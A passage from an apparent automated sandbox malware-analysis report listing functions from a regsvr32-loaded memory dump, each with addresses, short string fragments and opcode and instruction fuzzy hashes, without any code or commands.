Opcode Fuzzy Hash: 2d468f080be7dc4ac37fbc5ab55ab08a385f91380d02a95960c4866fb202e0cd
Instruction Fuzzy Hash: 49317CB16187858B8348DF28C45641ABBE1FBCD70CF544B2DF4CAAB251D738D6128B4B

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800025B8 Relevance: 2.6, Strings: 2, Instructions: 69COMMON

Download Yara Rule

Strings

O, xrefs: 00000001800025BC
\u, xrefs: 00000001800026CE

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: O$\u
API String ID: 0-3775190597
Opcode ID: 81226de3c00d9588fcdb855554b2562b3d5d50c3db8a2dd8ff0fab91db437570
Instruction ID: b3d17dff366e7d439aca65bd494037a1e9e1cb33d0f26cc5f3c7e2fad645fe6e
Opcode Fuzzy Hash: 81226de3c00d9588fcdb855554b2562b3d5d50c3db8a2dd8ff0fab91db437570
Instruction Fuzzy Hash: 5B31C4B0528781AFC798DF28D09991ABBF1FBC9304F806A1DF98A8B350D774D845CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012044 Relevance: 2.6, Strings: 2, Instructions: 67COMMON

Download Yara Rule

Strings

:s[, xrefs: 000000018001209B
+N, xrefs: 0000000180012133

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: +N$:s[
API String ID: 0-2992701377
Opcode ID: 59945e4bfd5c1812b410bc992af75b99beb9f24da50121ece688e224e72b4b08
Instruction ID: 2af45dfac4c7ae0da7497fa8c295952f08e7f96bebb69c710dc1a077a3b8364b
Opcode Fuzzy Hash: 59945e4bfd5c1812b410bc992af75b99beb9f24da50121ece688e224e72b4b08
Instruction Fuzzy Hash: 443192B5528381ABC388DF28C48A81FBBE1FBC9359F806A1DF8C696261D734D5458B43

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024370 Relevance: 2.6, Strings: 2, Instructions: 64COMMON

Download Yara Rule

Strings

k, xrefs: 0000000180024379
'yN, xrefs: 000000018002441B

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 'yN$k
API String ID: 0-35230329
Opcode ID: 664b9cbffe37651652d085acf9af43cce7b6a19192dfc0ee1d7ff8525738b321
Instruction ID: 07b651401a32326000ca6cd35722393aebb0696fbf8e2d5e5a89f081ef8d3ba1
Opcode Fuzzy Hash: 664b9cbffe37651652d085acf9af43cce7b6a19192dfc0ee1d7ff8525738b321
Instruction Fuzzy Hash: DE318FB191478E8BDB48DF68D8494DF3BF0FB58308F004A29EC6A9A250D7B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800024C0 Relevance: 2.6, Strings: 2, Instructions: 51COMMON

Download Yara Rule

Strings

lt, xrefs: 000000018000254B
]2F, xrefs: 0000000180002531

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ]2F$lt
API String ID: 0-3307743551
Opcode ID: e35954fd64214c4dc75024e05a92e9afc61a62ba820b5d5e41e037a5dcd882da
Instruction ID: b2e8e3d622355c2c7a8d87ad16832996e77f732c72c2020fcd3ed114b96953d1
Opcode Fuzzy Hash: e35954fd64214c4dc75024e05a92e9afc61a62ba820b5d5e41e037a5dcd882da
Instruction Fuzzy Hash: BC218C70528385ABC798CF24C1CA94BBBE1FBD4758F906A0DF8828B264D774D909CB43

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001667C Relevance: 1.5, Strings: 1, Instructions: 274COMMON

Download Yara Rule

Strings

t2i., xrefs: 000000018001687D

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: t2i.
API String ID: 0-2317288456
Opcode ID: ddf1efb97a931d6c5f3ee8c67c3fa2b44aa9af6db9e4e5e1b98fbf81237c32be
Instruction ID: 45fd1b4f7d9ae1bb3a1595fd0447dfa3858b4c22850e921c91e36994c5fa5290
Opcode Fuzzy Hash: ddf1efb97a931d6c5f3ee8c67c3fa2b44aa9af6db9e4e5e1b98fbf81237c32be
Instruction Fuzzy Hash: F4C17C709197489BD7D6DF18C48579EBBE0FB88344F906A1EF486C72A0CB34DA49CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001AEC8 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

!, xrefs: 000000018001B19C

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !
API String ID: 0-133318149
Opcode ID: 9a28524a62feba04ad602aea3c6b43a9e37f0bb3cb72c69032c5b680e6eaa856
Instruction ID: 4d490125f0736c0523a0bc8c54046deb818a488a36854fcf26dc18eb231edbc7
Opcode Fuzzy Hash: 9a28524a62feba04ad602aea3c6b43a9e37f0bb3cb72c69032c5b680e6eaa856
Instruction Fuzzy Hash: 94C1277090474D8BDF48DF68C88A6EE7BF1FB48358F15821DE84AA7250C7789949CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001980 Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

GP, xrefs: 00000001800019A8

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: GP
API String ID: 0-809347306
Opcode ID: c18687982be6c1a2fdabfac97a268a3404b4fe9754ccd0dba6adaab26aa3d97e
Instruction ID: b8cc07b6ee5f07dffcf88ae53723e0b0b514af2364763fc1c4f878c703b2f424
Opcode Fuzzy Hash: c18687982be6c1a2fdabfac97a268a3404b4fe9754ccd0dba6adaab26aa3d97e
Instruction Fuzzy Hash: 35C18BB190060DCFCF68CF78D55A59D7BF1BB48308F606229F826AA2A2D3B49915CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014484 Relevance: 1.5, Strings: 1, Instructions: 224COMMON

Download Yara Rule

Strings

G, xrefs: 00000001800145F6

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: G
API String ID: 0-4067352199
Opcode ID: 571051391216adea76df2afa30ecc8bad161d89b390d9c97388838629c1a5ca4
Instruction ID: 225e36911d9d240547ab15c987b60d96220a9315f181ed6db9e7231e26a901aa
Opcode Fuzzy Hash: 571051391216adea76df2afa30ecc8bad161d89b390d9c97388838629c1a5ca4
Instruction Fuzzy Hash: 54A11871A0460CCFDF59DFA8C44A6DDB7F2FB48344F104529E816BB261CB749909CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018190 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

:d, xrefs: 0000000180018267

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :d
API String ID: 0-1981401805
Opcode ID: 7e01d6742b691afee721fc3f193522d49c245a6ce31efde50cdf5c406c664d98
Instruction ID: 210e0c3814bb066ec4f0600647a6f8918949d15d236ac433349e910c02a539df
Opcode Fuzzy Hash: 7e01d6742b691afee721fc3f193522d49c245a6ce31efde50cdf5c406c664d98
Instruction Fuzzy Hash: 55B1067150560DDFCB88DF28C089ADE7BE0FF58308F825229F80AA7255D774DA98DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800207BC Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

'NL, xrefs: 00000001800208CD

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 'NL
API String ID: 0-130891299
Opcode ID: 8a3ed407222c8cc95b4195594c73c0a0709bd4276b41a18d313f15a757072ddc
Instruction ID: bb2c5b98f4e45d76fdff147334347c6d164a6d6c8cf2b5048c0250209dce3a22
Opcode Fuzzy Hash: 8a3ed407222c8cc95b4195594c73c0a0709bd4276b41a18d313f15a757072ddc
Instruction Fuzzy Hash: 08816770900748CFDB99CF68C4896DE7BF0FB48394F609129F94697261C774D989CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001705C Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

ETz, xrefs: 0000000180017234

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ETz
API String ID: 0-3877082699
Opcode ID: a70674ad09814c9e1798ed159b67f00a2b9c82905ce41e3639f5d760caf2f047
Instruction ID: db1a2cf02a49f3c5a1febdf95057c2803ba9c7043f43a3a74a84a847f8708688
Opcode Fuzzy Hash: a70674ad09814c9e1798ed159b67f00a2b9c82905ce41e3639f5d760caf2f047
Instruction Fuzzy Hash: 6281BC34A0674CCBDB65CFA8C0897CDBBF1FF68348F104119E915AA2A6CB70D559CB89

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800261E0 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

#;*z, xrefs: 00000001800264EE

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #;*z
API String ID: 0-1682342327
Opcode ID: b680f4a085bd44a123493e5971e743dba8c621f53e8aa86b84bd23ce7ca92522
Instruction ID: dbf9c55ae058a2f54c24d1eac6a5ff2fe61b468a3017e99be0a6ffbf3af3057b
Opcode Fuzzy Hash: b680f4a085bd44a123493e5971e743dba8c621f53e8aa86b84bd23ce7ca92522
Instruction Fuzzy Hash: EF91E0715042888FCBB9DF24D88A7DA7BA1FB45348F50C229D88ECE261DFB0564DDB01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D7AC Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

)0, xrefs: 000000018000D866

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: )0
API String ID: 0-1029681778
Opcode ID: 40e7eb8740bf53d50ac0b689975ccfd72f61ab29a6f5010a355cdccaad617979
Instruction ID: 121df312e681884aeaf9abe1505228ce9ff72d97cb51e4d07d955d8bff2ee376
Opcode Fuzzy Hash: 40e7eb8740bf53d50ac0b689975ccfd72f61ab29a6f5010a355cdccaad617979
Instruction Fuzzy Hash: 6851673861660CCBDB69DF78D4852E93BE0FF69344F20402DFC6687266DB34D52A8B58

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012168 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

Uerm, xrefs: 0000000180012269

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Uerm
API String ID: 0-3179360214
Opcode ID: 9ac54ab8c90a486f4441a78f79c66deafdf79af98abc137c17ed1b11debabc8b
Instruction ID: 041d59295089493447bb19a8378e04636211af5195b78f50b28b80e802418f55
Opcode Fuzzy Hash: 9ac54ab8c90a486f4441a78f79c66deafdf79af98abc137c17ed1b11debabc8b
Instruction Fuzzy Hash: AD6103B190061A8FCF48DFA8C48A5EEBBB1FB58344F10822DE815AB365C7749A55CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015774 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

n?,#, xrefs: 0000000180015826

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: n?,#
API String ID: 0-1323099997
Opcode ID: 26b976f19a01f89e53d4e797cc3bc9c5337180b5ac8f28c70c7e0350769e597c
Instruction ID: 565b854ac311e8ede55e0f860d8d3b50ebc6ea35409b62ec986654d35b43713b
Opcode Fuzzy Hash: 26b976f19a01f89e53d4e797cc3bc9c5337180b5ac8f28c70c7e0350769e597c
Instruction Fuzzy Hash: 4461F97054878DCBEBBADE38C8897D937B0FB48344F908529E94E8E290DB749A458B45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024104 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

{dN, xrefs: 00000001800241F3

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: {dN
API String ID: 0-923835543
Opcode ID: 9e75a9b6c969771d2fbed292b07595da2e1a6dc424cdc2e689696f47c6000392
Instruction ID: f9e1d774cd1a5aafce577d99eb21246fb33c51757267e19de4f8e3655d4c3e4d
Opcode Fuzzy Hash: 9e75a9b6c969771d2fbed292b07595da2e1a6dc424cdc2e689696f47c6000392
Instruction Fuzzy Hash: A24118B091470D8BCF48DFA8C58A1DEBFB1FB483A8F25521DE90AB6250C7749585CF88

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029134 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

hT, xrefs: 0000000180029140

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: hT
API String ID: 0-434349927
Opcode ID: 6dc475388242e87dfd02804309664708b9ba0169bf98e34e56dbb37a95c1b731
Instruction ID: 79a86a43dda6c0bf54cad5f70c675ce2074b99fb8c760d3b3e2f6daa19ea02a9
Opcode Fuzzy Hash: 6dc475388242e87dfd02804309664708b9ba0169bf98e34e56dbb37a95c1b731
Instruction Fuzzy Hash: 2A5190B190038E8BCB48DF68C88A5DE7BB0FB58308F104A19FC65A6250D7B4D669CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800135A6 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

w., xrefs: 0000000180013634

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: w.
API String ID: 0-4252102657
Opcode ID: 775cc355a8dd2b6f1bc8d8548c4489e17c5a54c9aeae587b6d573d3d7a9b0f7e
Instruction ID: ff83c9861e3aef96e788ade2e95c5d31a765335f039db5447ff320373d52f62b
Opcode Fuzzy Hash: 775cc355a8dd2b6f1bc8d8548c4489e17c5a54c9aeae587b6d573d3d7a9b0f7e
Instruction Fuzzy Hash: 524127B190434A8BCF48DF64C88A4DE7FB1FB58348F10861DEC5AA7250D7749659CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800079EC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

\>, xrefs: 0000000180007A45

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: \>
API String ID: 0-4115654482
Opcode ID: ec85be460c7c8dfb7cf3a46c57a1e14dcdd929cba8cf803056f6d038e5aaf727
Instruction ID: c8bfe62f06df19f0db5cc8e5fd5c20be0a97c60a2c34a345c5b0509f61aa275d
Opcode Fuzzy Hash: ec85be460c7c8dfb7cf3a46c57a1e14dcdd929cba8cf803056f6d038e5aaf727
Instruction Fuzzy Hash: 5041B0B490038E8FDB48DF65D8895DE7BB0FB48358F104A1AEC25A6250D7B4D664CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F6DC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

UfMm, xrefs: 000000018001F81D

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: UfMm
API String ID: 0-3877223347
Opcode ID: dec106b4a764423c6080cde6e3c380fc2c4206b9dd3c84e9483206ca750e3b76
Instruction ID: c77ef5b6f515275834e01b5fcfcfc22ffe1a93dbca634ff8363d49e0f941db2a
Opcode Fuzzy Hash: dec106b4a764423c6080cde6e3c380fc2c4206b9dd3c84e9483206ca750e3b76
Instruction Fuzzy Hash: A1519EB190474E8BCF49CF64C48A5DE7FB0FB68398F214219E85A96250D3B8D6A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800173DC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

^I%, xrefs: 0000000180017487

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ^I%
API String ID: 0-4091345571
Opcode ID: 3f12ff418f07ff0dffb22bdd7eb3939b0fd24fdb2c19c7287af7d17ae91e7243
Instruction ID: 24279a7f0b8a810ed47d94a020ccddcda864278dcc3d62ea9a1aafd37f1cc870
Opcode Fuzzy Hash: 3f12ff418f07ff0dffb22bdd7eb3939b0fd24fdb2c19c7287af7d17ae91e7243
Instruction Fuzzy Hash: D641C2B090074E8BCB48DF68C58A4DE7FF0FB68398F204219EC16A6250D3B496A4CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008370 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

E, xrefs: 0000000180008443

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: E
API String ID: 0-4189953480
Opcode ID: 6b2582ab6db5c886dc2d719d00820c997d2b994a7b2935478f04cfa12a5363ce
Instruction ID: 97bb68eb89739962e45bd832e2874dcd633b22f5609a7b84b761109d701c7c23
Opcode Fuzzy Hash: 6b2582ab6db5c886dc2d719d00820c997d2b994a7b2935478f04cfa12a5363ce
Instruction Fuzzy Hash: B341D5B491038E8FCF88DF69D8495DE7BB0FB18358F104A19EC2AA6250D3B49664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002582C Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

JLq, xrefs: 0000000180025857

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: JLq
API String ID: 0-4186083495
Opcode ID: 8d9a50e123908ca919991315c6f3e14c53aa3b8bc44063858183d3498e4e8681
Instruction ID: 27128c2ca0a5d288d3179379bf0eddb2aee49c7a11679c2610c242e98f2fdc84
Opcode Fuzzy Hash: 8d9a50e123908ca919991315c6f3e14c53aa3b8bc44063858183d3498e4e8681
Instruction Fuzzy Hash: 3C41D5B090064E8FDF48CF68C4865EE7BF1FB58358F114229E846AA254C7789A95CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800150F0 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

vYa-, xrefs: 0000000180015210

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: vYa-
API String ID: 0-893662192
Opcode ID: 035fd408088c0482a5a9e27521314a342b14366a032dbf1fe9b8c33d69753ec7
Instruction ID: ed719b7027dd4d7706803f37edca27847d3dc95415a6febebb675a1e15796353
Opcode Fuzzy Hash: 035fd408088c0482a5a9e27521314a342b14366a032dbf1fe9b8c33d69753ec7
Instruction Fuzzy Hash: 0741C0B090034E8FCF48CF64D88A5DE7FB0FB68398F104619E856A6250D7B896A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015BB8 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

< dA, xrefs: 0000000180015C3D

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: < dA
API String ID: 0-2747138368
Opcode ID: 207b38533736b510735db2aca9d27c508cf70737fe24697ea278d93009114e66
Instruction ID: 677e9d37894352eedc94dfbe70e1d5a5f16f85bbcaa69aa355918790c22682b0
Opcode Fuzzy Hash: 207b38533736b510735db2aca9d27c508cf70737fe24697ea278d93009114e66
Instruction Fuzzy Hash: 2741A0B180074E8FCB49CF64D48A4DE7FB0FB68388F204619E856A6254D7B496A8CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800135B4 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

w., xrefs: 0000000180013634

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: w.
API String ID: 0-4252102657
Opcode ID: 8dc8ab0dff87e9b75af9bc87b01f2b240cfc8c73fd94611f7c31912defe47775
Instruction ID: 9835b62cc5c81bb08ffa4c0ed138b56601e81b85f9b16a4ced47218125f66503
Opcode Fuzzy Hash: 8dc8ab0dff87e9b75af9bc87b01f2b240cfc8c73fd94611f7c31912defe47775
Instruction Fuzzy Hash: FC41E4B090434A8BCF48DF64C88A4DE7FB1FB58348F11861DEC5AA6250D7B496A9CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F878 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

}]T*, xrefs: 000000018001F95B

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: }]T*
API String ID: 0-3642313528
Opcode ID: 7849323620c58637c1544052bb138ebef222585afcb74db7dd86457f284b6379
Instruction ID: a9b4d124700f7192ec0ffbe58db6f2cedd89af67995077d1789eaf9c0a4fefb8
Opcode Fuzzy Hash: 7849323620c58637c1544052bb138ebef222585afcb74db7dd86457f284b6379
Instruction Fuzzy Hash: 624191B191074E9FCF48DF64D48A4DE7FB0FB68388F214619E816A6210D3B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013568 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

w., xrefs: 0000000180013634

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: w.
API String ID: 0-4252102657
Opcode ID: da61243a15702063775777e79984a8309a15a56a41d8ca6f71a856d03373fb1d
Instruction ID: 13a44cd4838b071505596f301d9460f32b91f3f909068c68e30d7ec81fe075ae
Opcode Fuzzy Hash: da61243a15702063775777e79984a8309a15a56a41d8ca6f71a856d03373fb1d
Instruction Fuzzy Hash: 194104B090434A8BCF48CF64C88A4DE7FB1FB58348F10861DEC5AA6250D7B496A8CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E5D4 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

N8$, xrefs: 000000018000E64E

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: N8$
API String ID: 0-2933465586
Opcode ID: 0eb94b4c30cdf64432c8dd49aa40656dc32a215d341cf791ffb885c3adf2427e
Instruction ID: 297b3d980fd839d27da657b87e2df8633a1b9c783a0b67fb1012bddc2283f9fe
Opcode Fuzzy Hash: 0eb94b4c30cdf64432c8dd49aa40656dc32a215d341cf791ffb885c3adf2427e
Instruction Fuzzy Hash: 0241827180078E8FCB45CF64D88A4CE7FB0FB18358F105A19F865A7260D3B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B564 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

wk, xrefs: 000000018002B5A3

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: wk
API String ID: 0-1447520534
Opcode ID: 0a0edc96079985f20ed57ef59bebf533c7b67d56244039d22a088e51808c84b4
Instruction ID: ed1e7f9bc21f483ed76e74f249cc539d96e15df8e9c5d2752f3a18cd8a4680c8
Opcode Fuzzy Hash: 0a0edc96079985f20ed57ef59bebf533c7b67d56244039d22a088e51808c84b4
Instruction Fuzzy Hash: A041C4B180074E8BCB48DF68D48A4CE7FF0FB68398F10461DE859A6250D7B49AA4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025180 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

D7 , xrefs: 000000018002519E

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: D7
API String ID: 0-599489778
Opcode ID: 0decf5b59288eb500aae667ac6c9b4e4dce6b838f673c5fc17c927a6ca0452b7
Instruction ID: 9ff7da26f915c3fd9b9081bc776a27ba1207aebd425a4d5bef8b93ab939ca450
Opcode Fuzzy Hash: 0decf5b59288eb500aae667ac6c9b4e4dce6b838f673c5fc17c927a6ca0452b7
Instruction Fuzzy Hash: 4541B0B090074E8BCF48DF68D4965DE7FB0FB68388F20421DE816A6250D7B496A5CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800048B0 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

-, xrefs: 00000001800048BC

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

